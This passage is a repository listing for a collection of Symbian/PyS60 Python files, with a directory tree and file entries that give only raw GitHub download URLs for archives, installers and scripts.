├── 2.0.zip ├── GPRS.zip ├── IP7.zip ├── PIL.zip ├── Walk.zip ├── Worm.zip ├── aif.py ├── all.zip ├── lib1.zip ├── mcs.zip ├── pyca.zip ├── ussd.zip ├── Emily.zip ├── EncScr.zip ├── ErrRd.SIS ├── Files.zip ├── Files1.zip ├── Files2.zip ├── Filesc.zip ├── Filess.zip ├── Filesv.zip ├── Gulam.zip ├── Infoz.zip ├── MClip.SIS ├── Primer.zip ├── SiS管理.zip ├── Source.zip ├── Test1.zip ├── blueto.zip ├── conmom.zip ├── filesn.zip ├── filesx.zip ├── module.zip ├── music.zip ├── parse.zip ├── pgm.py.zip ├── recog.zip ├── sensor.zip ├── sergap.zip ├── smski.zip ├── tests.zip ├── xorjia.rar ├── 5gameamir.zip ├── 74780650.zip ├── AppTools.zip ├── CNmoduls.zip ├── Default.zip ├── Filesbn.zip ├── Filescpp.zip ├── GdrFont.zip ├── Gdr_fonts.zip ├── Gendeng.zip ├── Opentar.zip ├── SiS%20管理.sis ├── SisMan.zipx ├── SisManEN.zip ├── Stopwatch.zip ├── applist.zip ├── appswitch.zip ├── as_test.zip ├── autostart.zip ├── clipboard.zip ├── connmgr.zip ├── ctypes%20.zip ├── elocation.zip ├── gabriel.zip ├── grindfm.zip ├── kaaphyton.zip ├── keylocker.zip ├── menu_test.zip ├── modules.zip ├── moduless.zip ├── petran1.zip ├── profiles.zip ├── pyAutoAP.zip ├── pyrecog.sis ├── scancodes.zip ├── setsize.zip ├── smartsis.zip ├── superpage.dmp ├── sysinfo2.zip ├── texture.zip ├── to_file.zip ├── ussd3r2n.zip ├── wlantools.zip ├── zcemusic.zip ├── 391160_pbar.zip ├── AUDIOSTREAM.zip ├── CONMONITOR.zip ├── Files_to_e.zip ├── Gul_traffic.zip ├── Infozmey2.0.zip ├── MEditor_1.1.zip ├── PY_ZoFF_ICQ.zip ├── RamMon_2.01.zip ├── SBluetooth.zip ├── SiS%20管理2.0.sis ├── Spravochnik.zip ├── filter_2nd.zip ├── filter_3rd.zip ├── gifani_3rd.zip ├── homescreen.zip ├── kf_apptools.zip ├── maskpng_3rd.zip ├── mcs.pyd_3rd.zip ├── modul_mapp.zip ├── music_files.zip ├── pyd%20codes.rar ├── pyinfobox2.zip ├── pymgfetch2.zip ├── script_logs.zip ├── sisman20en.zip ├── xorjia (01).rar ├── 1.9%20appicon.zip ├── 237__agraphics.zip ├── CanvasListbox.zip ├── Filescpp (01).zip ├── Filter_example.zip ├── GulChargeS60V3.zip ├── Marshal%20tes.zip ├── Mods_SendSMS.zip ├── Mute%20Camera.zip ├── PyPyc%20v2.0.3.zip ├── PyTools_v0_1.sis ├── Py_Shot%20v1.0.zip ├── README.md ├── STATICNOTE_2nd.zip ├── Set_color_1.1.zip ├── SiS%20管理1.45.sisnn ├── SiS%20管理2.0.sisn ├── SilentInstall.zip ├── SisBoom%20v6.6.zip ├── TTime-master.zip ├── Tes_txtfield.zip ├── TweakS-master.zip ├── Txtfield_font.zip ├── agraphics_3rd.zip ├── applist-v122.zip ├── applist2_3rd.zip ├── appuifw2_up_v1.zip ├── clipboard (01).zip ├── conmonitor_3rd.zip ├── gifani_source.zip ├── idmini-v-3-0.zip ├── kol_statuspane.zip ├── mediakeys_3rd.zip ├── modules.zipcbm.zip ├── progressnotes1.zip ├── pyexpat-master.zip ├── pyfileselect2.zip ├── pyinbox-master.zip ├── pytwink-master.zip ├── querylinks_3rd.zip ├── scapy-master.zip ├── show_interest.zip ├── source_pys60.zip ├── test_gradient.zip ├── video.pyd_3rd.zip ├── Filter_examplen..zip ├── MediaKey_source.zip ├── Multishot%20103.zip ├── Pateensy-master.zip ├── Pinjector-master.zip ├── Python_novi4kov.zip ├── SMSWATCH_2nd_112.zip ├── SiS%20管理1.45+2.0.zip ├── Tap2Menu-master.zip ├── Txtfield_z_index.zip ├── _agraphics_demo.zip ├── asprite.pyd_3rd.zip ├── conmonitor.zipc.zip ├── fileaudiostream.zip ├── mw_imagedecoder.zip ├── pyinfobox2_epoc.zip ├── pymgfetch2_epoc.zip ├── pynewfile-master.zip ├── pys60net-master.zip ├── pyswinst-master.zip ├── s60-json-library.zip ├── sis%20man%200.30.sis ├── swtools_3rd_200.zip ├── take_photo_0.1.1.sis ├── txtfield.pyd_2nd.zip ├── txtfield.pyd_3rd.zip ├── video_2.0_python.zip ├── 144480_v-icq..zip.zip ├── 35_chargerconnecte.zip ├── Accells_for_ipro7.zip ├── MultiChannelSound.zip ├── Scan%20Ip%20Genap.zip ├── StaticNote%20source.zip ├── Tap2Screen-master.zip ├── TopBalance_v1_0_0.sis ├── TopBattery-master.zip ├── Vibractrl-vibrapyd.zip ├── akntextutils2_3rd.zip ├── appuifw2_up_v1 (01).zip ├── asprite_2.0_python.zip ├── bfi_3rd_with_source.zip ├── camera2._3rdFP2_145.zip ├── canvaslistbox_1.1.zip ├── conmonitor_3rd_test.zip ├── datamapping_3rd_v3.zip ├── filter_2.0_python.zip ├── geticon_2.0_python.zip ├── glprogress.pyd_3rd.zip ├── iapconnect_3rd_200.zip ├── light_nasa_fixed.sisx ├── lightcontrol_2ndfp3.sis ├── maskpng_2.0_python.zip ├── maskpng_3rd.zipll.zip ├── multimbm_2.0_python.zip ├── multimbm_3rd_final.zip ├── pybtswitch-master.zip ├── pyfileselect2_epoc.zip ├── python_2.0_kolayuk.zip ├── rusen_for_kaapython.zip ├── soundsystem.pyd_3rd.zip ├── urlaudiostream_3rd.zip ├── 八门神器s60v3v5%20S^3_1.75 ├── Accells_for_kaapython.zip ├── AlarmSwitcher-master.zip ├── GlobalConfirm_source.zip ├── Hex%20u8%20gendeng.py.zip ├── PyS60-Projects-master.zip ├── SiS%20管理PY1.45+PY2.0.zip ├── Txtfield_z_index (01).zip ├── camera2_script_tests.zip ├── cfileman_1st_pyd_api.zip ├── conmonitor_2.0_python.zip ├── fnmatch-python-master.zip ├── folderplay_source_19.zip ├── gps_location_3rd_200.zip ├── homescreen_200_5th_S3.sis ├── image1st2_with_source.zip ├── pyfileselect_unsigned.sis ├── recogtex_3rd_src_dll.zip ├── smartsis_v2_3_sources.zip ├── systemcolor_3rd_1.4.5.zip ├── text_animation_python.zip ├── to_file_for_kaapython.zip ├── xorrun_xorjia_1st_2nd.zip ├── GetIcon_2nd_wiht_source.zip ├── Metro%20reversal%20plus.sis ├── PY2.0%20batch%20compile.zip ├── SiS%20管理PY1.45+PY2.0.zipvvb ├── akntextutils2_2.0_python.zip ├── camera2_3rd_5th_S3_200.zip ├── editionfp_3rd_5th_13caps.zip ├── editionfp_3rd_5th_v102.zip ├── geticon-3rd_with_source.zip ├── globcapture_3rd_145_v3b.zip ├── globcapture_3rd_200_v3a.zip ├── lb_utils_3rd_with_source.zip ├── multimbm_3rd_with_source.zip ├── set_color_for_kaapython.zip ├── txtfield_1.4.5_and_2.0.zip ├── uclipboard100_3rd_source.zip ├── PYINFOBOX1_2nd_testing_113.zip ├── SMSWATCH_2nd_testing_cyke64.zi ├── SuperPackSIS%200.4.0%20fix.zip ├── applist122a_3rd_5th_S3_200.zip ├── encrscr_runencscr_1st_2nd.zip ├── flashy_3rd_v1.1.0_145_200.zip ├── kaapython-10-2-1-beta-s60.zip ├── missing_header_SDK_symbian70.z ├── missing_header_lib_SDK_symbian ├── skin-desklock-tipuan-mata.zip ├── tes_geticonmultimbm_os8.0.zip ├── touchclick_3rd_source_experime ├── txtfield_2.0_python.zip touch ├── videolight_1.0_3rdFP2_cyke64.z ├── zntxhanpyd_python2.0.0_13caps ├── Ascreen_beta_3rd_with_example.zip ├── Flashlight_only_for_3rd_2fp..sis ├── Kaapython_0xe9e58be2_aif.mif.zip ├── SmartSIS.v2.3.0.EN.By.mEnPDA.sis ├── Txtfield_3rd_1.4.5_&_2_&_api.zip ├── _GlobCapture_2nd_with_source.zip ├── cfileman_3rd_1.4.5_and_2.0.0.zip ├── cfileman_3rd_145_and_200_v3.zip ├── datamapping_3rd_with_source.zip ├── fastcamera_ALL_VERSIONS_145.zip ├── filesetsize_3rd_1.4.5_and_2.0.zip ├── globconfirm_3rd_with_source.zip ├── image1st2_1st_final_version.zip ├── pyfileselect_2nd_testing_101.zip ├── GlobCaptureCamera_2nd_with_sou.zip ├── Professional_Metronome_v1_03_0.zip ├── PyTarGZ%20v1.10%20s60v3v5%20EN.sisx ├── filesetsize_3rd_python2.0.0_so.zip ├── globconfirm_watt_3rd_145_and_2.zip ├── petran_3rd_1.4.5_and_2.0.0_sou.zip ├── progressnotes_3rd_1.4.5_and_20.zip ├── saveimage1st_1st_source_pyd_v1.zip ├── systemcolor_3rd_Python_2_with_.zip ├── txtfield_3rd_1.4.5_Python_%20&%202 ├── Ascreen_beta_3rd_with_example (01).zip ├── Py%20Gendeng4%20v0.02%20forpys60.zip ├── Some%20Modules%20for%20py%201.45%20and%202 ├── Kaapython_10.2.1_beta_for_Symbian_3rd_ed.zip ├── MiniCMD%20Shell%20v1.0.1%20By%20Chornos13.sis ├── Kaapython%209.0.0%20beta%20for%203rd%20ed%20unsigned.zip ├── Opmin%20Thivian%20Launcher%20with%20config%20by%20Habc.zip ├── Openwith.py ├── test_tr.py ├── test.pycvb ├── Listboxmbm_test.py ├── test_font.py ├── Unnamed1.py ├── test_topwindow_asprite.py ├── test_txt.py ├── LICENSE ├── Vol%20ajust.py ├── test.pycv ├── draw_snd.py ├── webbrowser.py ├── txtfield_test.py ├── Listboxapps_by2.py ├── .gitignore ├── Listboxapps_by1.py ├── simplereplace.py ├── Listboxtasks_test.py ├── ClipB.cpp ├── laa.cpp ├── py2sis.py ├── Pyrecog.cpp ├── Mp3player1.py ├── sysagent.py ├── search_lb.py ├── Wm_menu_test.py ├── sounds.py ├── menu.py ├── menu.pymm ├── rttl.py ├── uclipboard.cpp ├── pyucam.py ├── CentralRep.cpp ├── Py2app.py ├── test-script.py ├── ETELMMCS.H ├── ETELMMCS (01).H └── newmediakeys_2.cpp /2.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/2.0.zip -------------------------------------------------------------------------------- /GPRS.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/GPRS.zip -------------------------------------------------------------------------------- /IP7.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/IP7.zip -------------------------------------------------------------------------------- /PIL.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/PIL.zip -------------------------------------------------------------------------------- /Walk.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Walk.zip -------------------------------------------------------------------------------- /Worm.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Worm.zip -------------------------------------------------------------------------------- /aif.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/aif.py -------------------------------------------------------------------------------- /all.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/all.zip -------------------------------------------------------------------------------- /lib1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/lib1.zip -------------------------------------------------------------------------------- /mcs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/mcs.zip -------------------------------------------------------------------------------- /pyca.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyca.zip -------------------------------------------------------------------------------- /ussd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/ussd.zip -------------------------------------------------------------------------------- /Emily.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Emily.zip -------------------------------------------------------------------------------- /EncScr.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/EncScr.zip -------------------------------------------------------------------------------- /ErrRd.SIS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/ErrRd.SIS -------------------------------------------------------------------------------- /Files.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Files.zip -------------------------------------------------------------------------------- /Files1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Files1.zip -------------------------------------------------------------------------------- /Files2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Files2.zip -------------------------------------------------------------------------------- /Filesc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Filesc.zip -------------------------------------------------------------------------------- /Filess.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Filess.zip -------------------------------------------------------------------------------- /Filesv.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Filesv.zip -------------------------------------------------------------------------------- /Gulam.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Gulam.zip -------------------------------------------------------------------------------- /Infoz.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Infoz.zip -------------------------------------------------------------------------------- /MClip.SIS: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/MClip.SIS -------------------------------------------------------------------------------- /Primer.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Primer.zip -------------------------------------------------------------------------------- /SiS管理.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SiS管理.zip -------------------------------------------------------------------------------- /Source.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Source.zip -------------------------------------------------------------------------------- /Test1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Test1.zip -------------------------------------------------------------------------------- /blueto.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/blueto.zip -------------------------------------------------------------------------------- /conmom.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/conmom.zip -------------------------------------------------------------------------------- /filesn.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/filesn.zip -------------------------------------------------------------------------------- /filesx.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/filesx.zip -------------------------------------------------------------------------------- /module.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/module.zip -------------------------------------------------------------------------------- /music.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/music.zip -------------------------------------------------------------------------------- /parse.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/parse.zip -------------------------------------------------------------------------------- /pgm.py.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pgm.py.zip -------------------------------------------------------------------------------- /recog.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/recog.zip -------------------------------------------------------------------------------- /sensor.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/sensor.zip -------------------------------------------------------------------------------- /sergap.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/sergap.zip -------------------------------------------------------------------------------- /smski.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/smski.zip -------------------------------------------------------------------------------- /tests.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/tests.zip -------------------------------------------------------------------------------- /xorjia.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/xorjia.rar -------------------------------------------------------------------------------- /5gameamir.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/5gameamir.zip -------------------------------------------------------------------------------- /74780650.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/74780650.zip -------------------------------------------------------------------------------- /AppTools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/AppTools.zip -------------------------------------------------------------------------------- /CNmoduls.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/CNmoduls.zip -------------------------------------------------------------------------------- /Default.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Default.zip -------------------------------------------------------------------------------- /Filesbn.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Filesbn.zip -------------------------------------------------------------------------------- /Filescpp.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Filescpp.zip -------------------------------------------------------------------------------- /GdrFont.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/GdrFont.zip -------------------------------------------------------------------------------- /Gdr_fonts.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Gdr_fonts.zip -------------------------------------------------------------------------------- /Gendeng.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Gendeng.zip -------------------------------------------------------------------------------- /Opentar.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Opentar.zip -------------------------------------------------------------------------------- /SiS%20管理.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SiS%20管理.sis -------------------------------------------------------------------------------- /SisMan.zipx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SisMan.zipx -------------------------------------------------------------------------------- /SisManEN.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SisManEN.zip -------------------------------------------------------------------------------- /Stopwatch.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Stopwatch.zip -------------------------------------------------------------------------------- /applist.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/applist.zip -------------------------------------------------------------------------------- /appswitch.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/appswitch.zip -------------------------------------------------------------------------------- /as_test.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/as_test.zip -------------------------------------------------------------------------------- /autostart.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/autostart.zip -------------------------------------------------------------------------------- /clipboard.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/clipboard.zip -------------------------------------------------------------------------------- /connmgr.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/connmgr.zip -------------------------------------------------------------------------------- /ctypes%20.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/ctypes%20.zip -------------------------------------------------------------------------------- /elocation.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/elocation.zip -------------------------------------------------------------------------------- /gabriel.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/gabriel.zip -------------------------------------------------------------------------------- /grindfm.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/grindfm.zip -------------------------------------------------------------------------------- /kaaphyton.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/kaaphyton.zip -------------------------------------------------------------------------------- /keylocker.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/keylocker.zip -------------------------------------------------------------------------------- /menu_test.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/menu_test.zip -------------------------------------------------------------------------------- /modules.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/modules.zip -------------------------------------------------------------------------------- /moduless.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/moduless.zip -------------------------------------------------------------------------------- /petran1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/petran1.zip -------------------------------------------------------------------------------- /profiles.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/profiles.zip -------------------------------------------------------------------------------- /pyAutoAP.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyAutoAP.zip -------------------------------------------------------------------------------- /pyrecog.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyrecog.sis -------------------------------------------------------------------------------- /scancodes.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/scancodes.zip -------------------------------------------------------------------------------- /setsize.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/setsize.zip -------------------------------------------------------------------------------- /smartsis.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/smartsis.zip -------------------------------------------------------------------------------- /superpage.dmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/superpage.dmp -------------------------------------------------------------------------------- /sysinfo2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/sysinfo2.zip -------------------------------------------------------------------------------- /texture.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/texture.zip -------------------------------------------------------------------------------- /to_file.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/to_file.zip -------------------------------------------------------------------------------- /ussd3r2n.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/ussd3r2n.zip -------------------------------------------------------------------------------- /wlantools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/wlantools.zip -------------------------------------------------------------------------------- /zcemusic.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/zcemusic.zip -------------------------------------------------------------------------------- /391160_pbar.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/391160_pbar.zip -------------------------------------------------------------------------------- /AUDIOSTREAM.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/AUDIOSTREAM.zip -------------------------------------------------------------------------------- /CONMONITOR.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/CONMONITOR.zip -------------------------------------------------------------------------------- /Files_to_e.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Files_to_e.zip -------------------------------------------------------------------------------- /Gul_traffic.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Gul_traffic.zip -------------------------------------------------------------------------------- /Infozmey2.0.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Infozmey2.0.zip -------------------------------------------------------------------------------- /MEditor_1.1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/MEditor_1.1.zip -------------------------------------------------------------------------------- /PY_ZoFF_ICQ.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/PY_ZoFF_ICQ.zip -------------------------------------------------------------------------------- /RamMon_2.01.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/RamMon_2.01.zip -------------------------------------------------------------------------------- /SBluetooth.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SBluetooth.zip -------------------------------------------------------------------------------- /SiS%20管理2.0.sis: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/SiS%20管理2.0.sis -------------------------------------------------------------------------------- /Spravochnik.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Spravochnik.zip -------------------------------------------------------------------------------- /filter_2nd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/filter_2nd.zip -------------------------------------------------------------------------------- /filter_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/filter_3rd.zip -------------------------------------------------------------------------------- /gifani_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/gifani_3rd.zip -------------------------------------------------------------------------------- /homescreen.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/homescreen.zip -------------------------------------------------------------------------------- /kf_apptools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/kf_apptools.zip -------------------------------------------------------------------------------- /maskpng_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/maskpng_3rd.zip -------------------------------------------------------------------------------- /mcs.pyd_3rd.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/mcs.pyd_3rd.zip -------------------------------------------------------------------------------- /modul_mapp.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/modul_mapp.zip -------------------------------------------------------------------------------- /music_files.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/music_files.zip -------------------------------------------------------------------------------- /pyd%20codes.rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyd%20codes.rar -------------------------------------------------------------------------------- /pyinfobox2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pyinfobox2.zip -------------------------------------------------------------------------------- /pymgfetch2.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/pymgfetch2.zip -------------------------------------------------------------------------------- /script_logs.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/script_logs.zip -------------------------------------------------------------------------------- /sisman20en.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/sisman20en.zip -------------------------------------------------------------------------------- /xorjia (01).rar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/xorjia (01).rar -------------------------------------------------------------------------------- /1.9%20appicon.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/1.9%20appicon.zip -------------------------------------------------------------------------------- /237__agraphics.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/237__agraphics.zip -------------------------------------------------------------------------------- /CanvasListbox.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/CanvasListbox.zip -------------------------------------------------------------------------------- /Filescpp (01).zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Filescpp (01).zip -------------------------------------------------------------------------------- /Filter_example.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gauravssnl/Symbian-Python-Files/HEAD/Filter_example.zip -------------------------------------------------------------------------------- /GulChargeS60V3.zip: -------------------------------------------------------------------------------- 